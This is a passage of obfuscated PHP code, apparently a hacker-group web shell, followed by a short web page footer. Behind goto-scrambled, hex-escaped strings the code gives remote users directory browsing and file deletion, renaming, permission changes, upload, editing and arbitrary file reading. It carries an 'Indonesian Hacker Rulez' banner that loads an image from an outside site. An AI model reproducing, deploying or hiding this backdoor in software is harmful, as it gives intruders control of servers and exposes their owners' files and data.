x3e"; foreach ($scandir as $dir) { goto and1pHK3KJ; jtY3K1SkBZ: XEU0v7lH2a: echo "\74\146\x6f\x6e\x74\x20\x63\157\154\157\162\75\x22\162\x65\x64\42\76"; rwI6MwaL6t: echo perms("{$path}\x2f{$dir}"); if (!(is_writable("{$path}\57{$dir}") || !is_readable("{$path}\x2f{$dir}"))) { goto g0EJmmGqi2; } goto u4WWIqaQbz; u4WWIqaQbz: echo "\x3c\57\146\157\x6e\164\x3e"; g0EJmmGqi2: echo "\74\57\x63\x65\156\164\x65\162\x3e\x3c\x2f\164\144\76\15\xa\74\164\x64\x3e\74\x63\x65\x6e\164\145\162\76\x3c\146\x6f\x72\x6d\x20\155\x65\x74\150\x6f\x64\75\x22\x50\x4f\x53\124\x22\x20\x61\x63\x74\x69\157\x6e\75\x22\77\x6f\160\164\x69\157\156\x26\x70\141\x74\x68\75{$path}\x22\76\15\12\74\x73\145\x6c\x65\143\164\40\x6e\x61\155\x65\x3d\x22\157\160\164\x22\x3e\15\xa\x3c\x6f\x70\x74\x69\157\156\40\166\141\x6c\x75\145\x3d\x22\42\x3e\74\57\x6f\160\x74\x69\157\x6e\76\xd\xa\x3c\x6f\x70\x74\x69\157\x6e\40\166\x61\x6c\165\x65\x3d\42\x64\145\x6c\145\164\x65\42\76\x44\145\x6c\x65\164\145\74\x2f\x6f\160\164\x69\x6f\156\x3e\xd\12\74\x6f\x70\164\x69\x6f\x6e\x20\166\141\x6c\x75\145\75\x22\x63\150\155\x6f\144\x22\76\x43\150\155\x6f\x64\74\57\x6f\160\164\x69\x6f\156\x3e\xd\xa\74\157\160\x74\151\x6f\156\40\x76\141\154\165\145\75\42\162\145\x6e\141\155\145\x22\x3e\x52\x65\156\141\x6d\x65\x3c\57\x6f\160\x74\x69\x6f\156\x3e\15\xa\74\x2f\x73\x65\154\x65\143\164\76\xd\12\x3c\x69\156\160\x75\164\40\164\171\160\145\x3d\42\150\x69\144\x64\x65\x6e\42\40\x6e\x61\155\x65\x3d\x22\x74\171\160\145\42\x20\166\x61\x6c\x75\145\x3d\x22\144\151\x72\42\x3e\15\12\74\x69\x6e\160\165\164\40\164\171\160\x65\75\x22\x68\x69\144\144\145\x6e\42\x20\156\141\155\145\x3d\42\156\x61\x6d\x65\42\40\x76\x61\x6c\165\145\x3d\x22{$dir}\42\x3e\xd\xa\x3c\151\x6e\160\x75\x74\40\164\x79\160\x65\75\x22\150\x69\144\144\x65\156\x22\x20\156\141\155\145\75\x22\160\141\x74\x68\x22\40\166\141\x6c\165\145\75\x22{$path}\57{$dir}\42\76\xd\xa\74\151\x6e\160\x75\164\40\x74\171\x70\145\x3d\x22\x73\165\x62\155\151\164\42\x20\x76\141\154\x75\x65\x3d\x22\x4f\x6b\145\42\x20\57\76\xd\xa\74\57\x66\157\162\x6d\76\74\x2f\143\145\x6e\164\145\x72\x3e\x3c\57\164\144\76\xd\xa\74\x2f\164\162\76"; d3wDqNvX95: goto CWHQSpVSxg; and1pHK3KJ: if (!(!is_dir("{$path}\x2f{$dir}") || $dir == "\56" || $dir == "\56\56")) { goto DLwryDYnm3; } goto d3wDqNvX95; DLwryDYnm3: echo "\x3c\x74\x72\76\xd\xa\74\164\144\x3e\74\141\x20\150\162\x65\146\75\42\x3f\x70\141\x74\150\75{$path}\57{$dir}\42\76{$dir}\x3c\57\x61\76\x3c\x2f\164\x64\x3e\15\xa\x3c\x74\144\x3e\x3c\x63\145\x6e\164\x65\x72\x3e\55\55\74\57\143\x65\x6e\164\145\x72\x3e\74\57\x74\x64\76\15\xa\74\x74\144\x3e\74\x63\x65\156\164\x65\x72\x3e"; if (is_writable("{$path}\57{$dir}")) { goto VssK4xVtfF; } goto rX9OfLVkNW; rX9OfLVkNW: if (!is_readable("{$path}\57{$dir}")) { goto XEU0v7lH2a; } goto rwI6MwaL6t; VssK4xVtfF: echo "\x3c\146\157\x6e\164\40\143\x6f\x6c\157\x72\x3d\x22\x42\154\165\x65\x22\x3e"; goto rwI6MwaL6t; goto jtY3K1SkBZ; CWHQSpVSxg: } goto LJeOT3puN1; usOyv9ZuDP: if (!isset($_POST["\156\145\167\156\x61\x6d\145"])) { goto aDexvTHr9l; } if (rename($_POST["\x70\141\x74\x68"], $path . "\57" . $_POST["\156\145\x77\156\141\x6d\x65"])) { goto CROyCg1O8V; } echo "\x3c\x66\x6f\156\164\40\x63\157\x6c\157\162\75\42\162\x65\x64\42\76\x47\141\156\x74\151\x20\116\141\155\141\40\x47\x61\x67\141\154\x3c\x2f\x66\x6f\x6e\164\x3e\x3c\x62\x72\40\x2f\x3e"; goto CuWt5AQF2A; CROyCg1O8V: goto TpNmG2CjcL; LexfVEbpUx: dUbRolMDcI: echo "\x3c\143\x65\156\164\x65\162\76\x3c\x62\x72\40\x2f\x3e\103\157\160\x79\162\151\147\150\164\x20\x32\x4b\x31\66\x20\55\40\62\113\61\70\x20\x49\156\x64\x6f\x6e\x65\x73\x69\x61\156\x20\110\141\143\153\x65\x72\40\122\x75\x6c\x65\x7a\x3c\57\x66\157\156\164\76\74\x63\x65\156\x74\145\162\x3e\15\12\15\xa\74\x64\x69\166\x20\x61\x6c\x69\147\156\75\42\x63\145\x6e\164\145\x72\x22\76\x3c\x69\x6d\x67\x20\163\164\171\154\145\75\42\167\151\144\164\150\72\61\60\x30\73\x20\x68\145\151\x67\150\164\x3a\61\x30\x30\x70\170\x20\73\x22\40\x73\162\143\75\42\150\164\164\x70\x3a\57\x2f\162\157\157\164\x6b\x69\164\x6e\151\156\152\141\56\x63\157\x6d\x2f\151\x6d\141\x67\x65\x73\x2f\144\x65\x76\151\154\56\152\160\147\77\x72\x3d\x3c\77\x3d\x72\x61\156\x64\x28\x30\54\61\x36\60\60\x30\x29\x3b\x3f\x3e\x22\76\74\57\x64\x69\x76\x3e\15\12\xd\xa\xd\xa\x3c\x2f\102\117\x44\131\x3e\xd\12\x3c\x2f\110\x54\x4d\114\x3e"; goto d3Ba9LQMd2; WIf4zMw5uM: echo "\74\160\162\x65\x3e" . htmlspecialchars(file_get_contents($_GET["\146\x69\154\x65\x73\162\143"])) . "\74\x2f\160\x72\145\x3e"; goto dUbRolMDcI; RtFaDw1T_S: echo "\x3c\57\x74\141\x62\x6c\x65\76\x3c\142\162\x20\x2f\x3e\74\x63\x65\x6e\x74\x65\162\76" . $_POST["\160\x61\164\x68"] . "\74\142\x72\40\x2f\76\x3c\x62\x72\x20\x2f\76"; if ($_POST["\157\160\x74"] == "\x63\x68\155\x6f\x64") { goto uwxA1GGPlG; } goto WNBw5mSAri; ZK52dQf1w2: kW2AfnKo6Y: echo "\74\x66\x6f\162\x6d\40\x65\156\143\164\171\160\145\x3d\42\x6d\x75\x6c\x74\151\160\141\162\x74\57\x66\157\x72\155\x2d\x64\x61\164\x61\x22\40\155\145\164\150\157\x64\75\42\x50\x4f\123\x54\x22\x3e\xd\12\x55\x70\154\157\141\x64\40\x46\151\154\x65\40\72\40\74\x69\156\160\165\164\40\164\171\160\x65\75\x22\x66\x69\154\145\x22\x20\x6e\x61\155\x65\75\x22\146\x69\154\x65\x22\x20\57\76\xd\12\x3c\x69\156\x70\165\x74\x20\164\171\160\x65\x3d\x22\163\165\142\x6d\151\164\x22\x20\x76\141\154\x75\145\x3d\42\165\x70\x6c\x6f\x61\x64\40\x63\157\153\x20\x21\42\40\57\x3e\15\12\74\x2f\x66\x6f\x72\x6d\x3e\xd\12\74\57\x74\x64\76\74\57\164\162\x3e"; if (isset($_GET["\146\x69\x6c\145\163\162\x63"])) { goto jPtK9QEpyR; } if (isset($_GET["\157\x70\164\x69\x6f\x6e"]) && $_POST["\157\160\164"] != "\144\x65\154\145\x74\145") { goto RtFaDw1T_S; } echo "\74\x2f\164\141\x62\x6c\x65\x3e\74\x62\162\x20\x2f\76\x3c\143\145\x6e\x74\145\x72\x3e"; goto LS7jWnyHVi; OlXSphE_AL: rFiEc1IELR: afw21WKPng: echo "\74\x66\x6f\162\155\40\155\145\164\x68\157\x64\75\42\120\x4f\123\x54\42\76\xd\xa\x50\x65\x72\155\151\x73\x73\x69\x6f\x6e\40\72\40\x3c\x69\156\160\165\164\x20\156\x61\x6d\145\x3d\42\x70\145\x72\x6d\x22\x20\164\171\160\145\x3d\42\164\x65\170\164\42\x20\x73\151\172\145\x3d\x22\64\42\x20\166\141\154\165\145\x3d\42" . substr(sprintf("\45\x6f", fileperms($_POST["\x70\141\164\x68"])), -4) . "\x22\x20\57\76\xd\12\x3c\151\x6e\160\165\x74\x20\164\171\160\145\75\x22\150\151\x64\144\x65\x6e\42\x20\x6e\141\155\x65\x3d\x22\160\141\164\x68\42\x20\x76\x61\154\165\145\75\42" . $_POST["\x70\x61\164\150"] . "\42\x3e\xd\12\x3c\151\x6e\x70\165\164\40\x74\171\x70\145\75\42\x68\151\144\x64\x65\x6e\x22\40\156\141\x6d\145\75\x22\157\160\x74\42\40\x76\141\154\165\145\75\x22\x63\x68\x6d\x6f\144\x22\76\xd\xa\74\151\156\160\x75\x74\x20\164\x79\x70\x65\x3d\x22\163\x75\x62\155\151\x74\42\40\x76\141\x6c\165\145\75\42\107\157\42\x20\57\x3e\15\12\74\x2f\146\x6f\x72\155\76"; goto qGL3HnmP8e; QWZfGHu5Kr: goto usOyv9ZuDP; LS7jWnyHVi: if (!(isset($_GET["\x6f\x70\164\x69\157\156"]) && $_POST["\x6f\x70\164"] == "\x64\145\154\x65\164\145")) { goto P7jjJhFCJM; } if ($_POST["\164\x79\160\x65"] == "\x64\x69\162") { goto kTU55ODbHo; } if ($_POST["\x74\x79\x70\x65"] == "\x66\151\154\145") { goto WlHVHYhq3z; } goto ieh76MlLYm; kTU55ODbHo: goto dPDF9Y3ecG; Xfz60JuFPZ: fclose($fp); BoivvziWoH: echo "\x3c\146\157\x72\155\x20\155\145\164\150\157\x64\75\42\120\x4f\123\124\42\76\xd\xa\74\164\x65\170\x74\141\x72\x65\141\40\x63\157\x6c\163\75\x38\x30\40\x72\157\167\163\x3d\62\60\x20\156\x61\x6d\x65\x3d\42\x73\x72\x63\42\x3e" . htmlspecialchars(file_get_contents($_POST["\160\x61\x74\150"])) . "\x3c\x2f\164\x65\x78\x74\x61\162\145\x61\76\74\x62\162\x20\x2f\76\15\12\x3c\x69\156\x70\x75\164\x20\x74\x79\x70\145\75\x22\x68\x69\144\144\x65\x6e\42\40\156\141\x6d\x65\x3d\x22\160\x61\164\150\42\x20\x76\x61\x6c\x75\x65\x3d\42" . $_POST["\x70\141\x74\150"] . "\x22\x3e\15\12\x3c\151\x6e\x70\x75\x74\x20\164\171\x70\145\x3d\42\x68\151\x64\x64\x65\x6e\42\x20\x6e\x61\155\145\x3d\42\157\x70\x74\x22\40\x76\x61\154\165\145\75\x22\x65\144\x69\164\x22\76\15\xa\x3c\151\x6e\160\x75\x74\40\x74\x79\x70\145\x3d\42\x73\x75\x62\155\151\164\x22\x20\x76\x61\x6c\165\145\x3d\x22\x47\x6f\x22\40\x2f\76\15\xa\74\57\146\157\162\x6d\76"; qGL3HnmP8e: echo "\74\x2f\143\145\156\x74\145\162\76"; goto LexfVEbpUx; dQcmNd0iFq: set_time_limit(0); error_reporting(0); if (!get_magic_quotes_gpc()) { goto MD4nbjQXM3; } foreach ($_POST as $key => $value) { $_POST[$key] = stripslashes($value); zu5MCwXSB2: } ZLwVTHFvT7: goto CW0XoREFwK; d3Ba9LQMd2: function perms($file) { goto NR2jCmDDQi; hF4MDlZNZg: teaLKRS6aj: $info = "\x63"; goto x1La3rKynZ; u7Zl5oqQTs: $info = "\x70"; goto hrV7XwXrJo; QBr7VG6STu: return $info; goto DKlkl5zGef; R4AK7eNHDF: t5wPnoBTX6: $info = "\x73"; goto x1La3rKynZ; AkMTnLUBiC: $info = "\x6c"; goto REMi9RP_9h; T0RYTqXHS0: $info .= $perms & 0x10 ? "\x77" : "\55"; $info .= $perms & 0x8 ? $perms & 0x400 ? "\163" : "\170" : ($perms & 0x400 ? "\x53" : "\x2d"); $info .= $perms & 0x4 ? "\x72" : "\x2d"; $info .= $perms & 0x2 ? "\x77" : "\x2d"; $info .= $perms & 0x1 ? $perms & 0x200 ? "\164" : "\170" : ($perms & 0x200 ? "\x54" : "\55"); goto QBr7VG6STu; ep2rV9Og8q: if (($perms & 0x4000) == 0x4000) { goto f1Y5sRh3rK; } if (($perms & 0x2000) == 0x2000) { goto teaLKRS6aj; } if (($perms & 0x1000) == 0x1000) { goto u7Zl5oqQTs; } $info = "\x75"; goto x1La3rKynZ; goto R4AK7eNHDF; hrV7XwXrJo: x1La3rKynZ: $info .= $perms & 0x100 ? "\162" : "\x2d"; $info .= $perms & 0x80 ? "\167" : "\55"; $info .= $perms & 0x40 ? $perms & 0x800 ? "\x73" : "\170" : ($perms & 0x800 ? "\123" : "\x2d"); $info .= $perms & 0x20 ? "\x72" : "\x2d"; goto T0RYTqXHS0; NR2jCmDDQi: $perms = fileperms($file); if (($perms & 0xc000) == 0xc000) { goto t5wPnoBTX6; } if (($perms & 0xa000) == 0xa000) { goto AkMTnLUBiC; } if (($perms & 0x8000) == 0x8000) { goto Aq2fwUpxSL; } if (($perms & 0x6000) == 0x6000) { goto Y3xewnoi2U; } goto ep2rV9Og8q; REMi9RP_9h: goto x1La3rKynZ; Aq2fwUpxSL: $info = "\55"; goto x1La3rKynZ; Y3xewnoi2U: goto Ulp1UuexnE; Ulp1UuexnE: $info = "\142"; goto x1La3rKynZ; f1Y5sRh3rK: $info = "\x64"; goto x1La3rKynZ; goto hF4MDlZNZg; DKlkl5zGef: }
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Generation time: 0.73 |
proxy
|
phpinfo
|
Settings